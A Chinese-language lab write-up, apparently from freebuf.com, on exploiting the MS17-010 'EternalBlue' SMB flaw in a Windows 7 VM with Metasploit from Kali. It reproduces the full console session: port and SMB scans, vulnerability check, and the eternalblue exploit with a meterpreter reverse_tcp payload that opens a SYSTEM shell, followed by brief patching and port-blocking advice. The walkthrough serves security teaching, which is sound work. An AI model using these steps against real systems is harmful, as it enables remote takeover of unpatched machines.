“永恒之蓝”漏洞
2017 年 4 月 14 日晚，黑客团体 Shadow Brokers（影子经纪人）公布一大批网络攻击工具，其中包含“永恒之蓝”工具，“永恒之蓝”利用 Windows 系统的 SMB 漏洞可以获取系统最高权限。 5 月 12 日，不法分子通过改造”永恒之蓝”制作了 wannacry 勒索病毒，英国、俄罗斯、整个欧洲以及中国国内多个高校校内网、大型企业内网呾政府机构与网中招，被勒索支付高额赎金才能解密恢复文件。
目前已知受影响的 Windows 版本包括但不限于：Windows NT，Windows 2000、 Windows XP、Windows 2003、 Windows Vista、 Windows 7、 Windows 8，Windows 2008、 Windows 2008 R2、Windows Server 2012 SP0。
本次测试环境为 Windows 7 Pro SP1
Win7 IP 192.168.1.2
Kali IP 192.168.1.8
进入 MSF 控制台，找到端口扫描模块，探测目标主机是否开启 445 (SMB) 端口
msf5 > search portscan
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/scanner/http/wordpress_pingback_access normal No WordPress Pingback Locator
1 auxiliary/scanner/natpmp/natpmp_portscan normal No NAT-PMP External Port Scanner
2 auxiliary/scanner/portscan/ack normal No TCP ACK Firewall Scanner
3 auxiliary/scanner/portscan/ftpbounce normal No FTP Bounce Port Scanner
4 auxiliary/scanner/portscan/syn normal No TCP SYN Port Scanner
5 auxiliary/scanner/portscan/tcp normal No TCP Port Scanner
6 auxiliary/scanner/portscan/xmas normal No TCP "XMas" Port Scanner
7 auxiliary/scanner/sap/sap_router_portscanner normal No SAPRouter Port Scanner
Interact with a module by name or index, for example use 7 or use auxiliary/scanner/sap/sap_router_portscanner
msf5 > use 4
msf5 auxiliary(scanner/portscan/syn) > options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 1-10000 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 500 yes The reply read timeout in milliseconds设置端口扫描模块，IP、端口参数
msf5 auxiliary(scanner/portscan/syn) > set rhosts 192.168.1.2
rhosts => 192.168.1.2
msf5 auxiliary(scanner/portscan/syn) > set ports 445
ports => 445
msf5 auxiliary(scanner/portscan/syn) > options
Module options (auxiliary/scanner/portscan/syn):
Name Current Setting Required Description
---- --------------- -------- -----------
BATCHSIZE 256 yes The number of hosts to scan per set
DELAY 0 yes The delay between connections, per thread, in milliseconds
INTERFACE no The name of the interface
JITTER 0 yes The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
PORTS 445 yes Ports to scan (e.g. 22-25,80,110-900)
RHOSTS 192.168.1.2 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SNAPLEN 65535 yes The number of bytes to capture
THREADS 1 yes The number of concurrent threads (max one per host)
TIMEOUT 500 yes The reply read timeout in milliseconds
运行查看测试结果
msf5 > auxiliary(scanner/portscan/syn) > exploit
[+] TCP OPEN 192.168.1.2:445
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed目标主机 445 端口开放
然后探测 445 端口是否运行 SMB 服务
msf5 > search scanner name:smb
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/check_dir_file normal No SMB Scanner Check File/Directory Utility
1 auxiliary/scanner/sap/sap_smb_relay normal No SAP SMB Relay Abuse
2 auxiliary/scanner/smb/pipe_auditor normal No SMB Session Pipe Auditor
3 auxiliary/scanner/smb/pipe_dcerpc_auditor normal No SMB Session Pipe DCERPC Auditor
4 auxiliary/scanner/smb/smb1 normal No SMBv1 Protocol Detection
5 auxiliary/scanner/smb/smb2 normal No SMB 2.0 Protocol Detection
6 auxiliary/scanner/smb/smb_enum_gpp normal No SMB Group Policy Preference Saved Passwords Enumeration
7 auxiliary/scanner/smb/smb_enumshares normal No SMB Share Enumeration
8 auxiliary/scanner/smb/smb_enumusers normal No SMB User Enumeration (SAM EnumUsers)
9 auxiliary/scanner/smb/smb_enumusers_domain normal No SMB Domain User Enumeration
10 auxiliary/scanner/smb/smb_login normal No SMB Login Check Scanner
11 auxiliary/scanner/smb/smb_lookupsid normal No SMB SID User Enumeration (LookupSid)
12 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
13 auxiliary/scanner/smb/smb_version normal No SMB Version Detection
14 auxiliary/scanner/snmp/snmp_enumshares normal No SNMP Windows SMB Share Enumeration
Interact with a module by name or index, for example use 14 or use auxiliary/scanner/snmp/snmp_enumshares
msf5 > use 13
msf5 auxiliary(scanner/smb/smb_version) > options
Module options (auxiliary/scanner/smb/smb_version):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)设置 SMB 探测模块，目标主机参数
msf5 auxiliary(scanner/smb/smb_version) > set rhosts 192.168.1.2
rhosts => 192.168.1.2运行查看效果
msf5 auxiliary(scanner/smb/smb_version) > exploit
[+] 192.168.1.2:445 - Host is running Windows 7 Professional SP1 (build:7601) (name:H-PC) (workgroup:WORKGROUP ) (signatures:optional)
[*] 192.168.1.2:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed目标主机 445端口运行 SMB 服务
接下来探测目标主机是否存在”永恒之蓝”漏洞
msf5 > search auxiliary name:ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 auxiliary/scanner/smb/smb_ms17_010 normal No MS17-010 SMB RCE Detection
Interact with a module by name or index, for example use 1 or use auxiliary/scanner/smb/smb_ms17_010
msf5 > use 1
msf5 auxiliary(scanner/smb/smb_ms17_010) > options
Module options (auxiliary/scanner/smb/smb_ms17_010):
Name Current Setting Required Description
---- --------------- -------- -----------
CHECK_ARCH true no Check for architecture on vulnerable hosts
CHECK_DOPU true no Check for DOUBLEPULSAR on vulnerable hosts
CHECK_PIPE false no Check for named pipe on vulnerable hosts
NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named_pipes.txt yes List of named pipes to check
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The SMB service port (TCP)
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as
THREADS 1 yes The number of concurrent threads (max one per host)设置”永恒之蓝”探测模块，目标主机参数
msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.1.2
rhosts => 192.168.1.2运行查看探测结果
msf5 auxiliary(scanner/smb/smb_ms17_010) > exploit
[+] 192.168.1.2:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.2:445 - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed结果显示目标主机存在MS17-010″永恒之蓝”漏洞
接下来需要设置payload，验证一下是否可以获取到目标主机shell
msf5 > search exploit name:ms17-010
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/admin/smb/ms17_010_command 2017-03-14 normal No MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
1 exploit/windows/smb/ms17_010_eternalblue 2017-03-14 average Yes MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
2 exploit/windows/smb/ms17_010_eternalblue_win8 2017-03-14 average No MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
3 exploit/windows/smb/ms17_010_psexec 2017-03-14 normal Yes MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
Interact with a module by name or index, for example use 3 or use exploit/windows/smb/ms17_010_psexec
msf5 > use 1
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > options
Module options (exploit/windows/smb/ms17_010_eternalblue):
Name Current Setting Required Description
---- --------------- -------- -----------
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 445 yes The target port (TCP)
SMBDomain . no (Optional) The Windows domain to use for authentication
SMBPass no (Optional) The password for the specified username
SMBUser no (Optional) The username to authenticate as
VERIFY_ARCH true yes Check if remote architecture matches exploit Target.
VERIFY_TARGET true yes Check if remote OS matches exploit Target.
Payload options (windows/x64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST 192.168.1.8 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs我这里面得参数有之前测试设置过得痕迹，一般默认都为空
设置目标主机，也就是被测试主机
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.1.2
rhosts => 192.168.1.2设置payload反弹shell的接收主机，也就是测试主机，我这里是Kali(本地主机)
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.1.8
lhost => 192.168.1.8设置目标主机操作系统类型，这个payload的target参数选项只有一个，不用进行变动
msf5 exploit(windows/smb/ms17_010_eternalblue) > show targets
Exploit targets:
Id Name
-- ----
0 Windows 7 and Server 2008 R2 (x64) All Service Packs运行查看测试结果
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
[*] Started reverse TCP handler on 192.168.1.8:4444
[*] 192.168.1.2:445 - Using auxiliary/scanner/smb/smb_ms17_010 as check
[+] 192.168.1.2:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Professional 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.1.2:445 - Scanned 1 of 1 hosts (100% complete)
[*] 192.168.1.2:445 - Connecting to target for exploitation.
[+] 192.168.1.2:445 - Connection established for exploitation.
[+] 192.168.1.2:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.2:445 - CORE raw buffer dump (42 bytes)
[*] 192.168.1.2:445 - 0x00000000 57 69 6e 64 6f 77 73 20 37 20 50 72 6f 66 65 73 Windows 7 Profes
[*] 192.168.1.2:445 - 0x00000010 73 69 6f 6e 61 6c 20 37 36 30 31 20 53 65 72 76 sional 7601 Serv
[*] 192.168.1.2:445 - 0x00000020 69 63 65 20 50 61 63 6b 20 31 ice Pack 1
[+] 192.168.1.2:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.2:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.2:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.2:445 - Starting non-paged pool grooming
[+] 192.168.1.2:445 - Sending SMBv2 buffers
[+] 192.168.1.2:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.2:445 - Sending final SMBv2 buffers.
[*] 192.168.1.2:445 - Sending last fragment of exploit packet!
[*] 192.168.1.2:445 - Receiving response from exploit packet
[+] 192.168.1.2:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.2:445 - Sending egg to corrupted connection.
[*] 192.168.1.2:445 - Triggering free of corrupted buffer.
[*] Sending stage (201283 bytes) to 192.168.1.2
[*] Meterpreter session 1 opened (192.168.1.8:4444 -> 192.168.1.2:49214) at 2020-07-23 10:32:15 +0800
[+] 192.168.1.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.2:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
meterpreter > pwd
C:\Windows\system32获取到目标主机shell，system权限，此权限危害较高，可以窃取用户键盘记录、实时屏幕、关闭/添加进程等操作。
“永恒之蓝”应对方法
1.升级微软补丁MS17-010
2.Windows7、Windows8、Windows10电脑启用Windows防火墙添加策略关闭135、137、138、139、445端口
3.(若有杀软)升级杀毒软件最新版本
来源：freebuf.com 2020-07-24 10:03:26 by: LXNSEC
正文完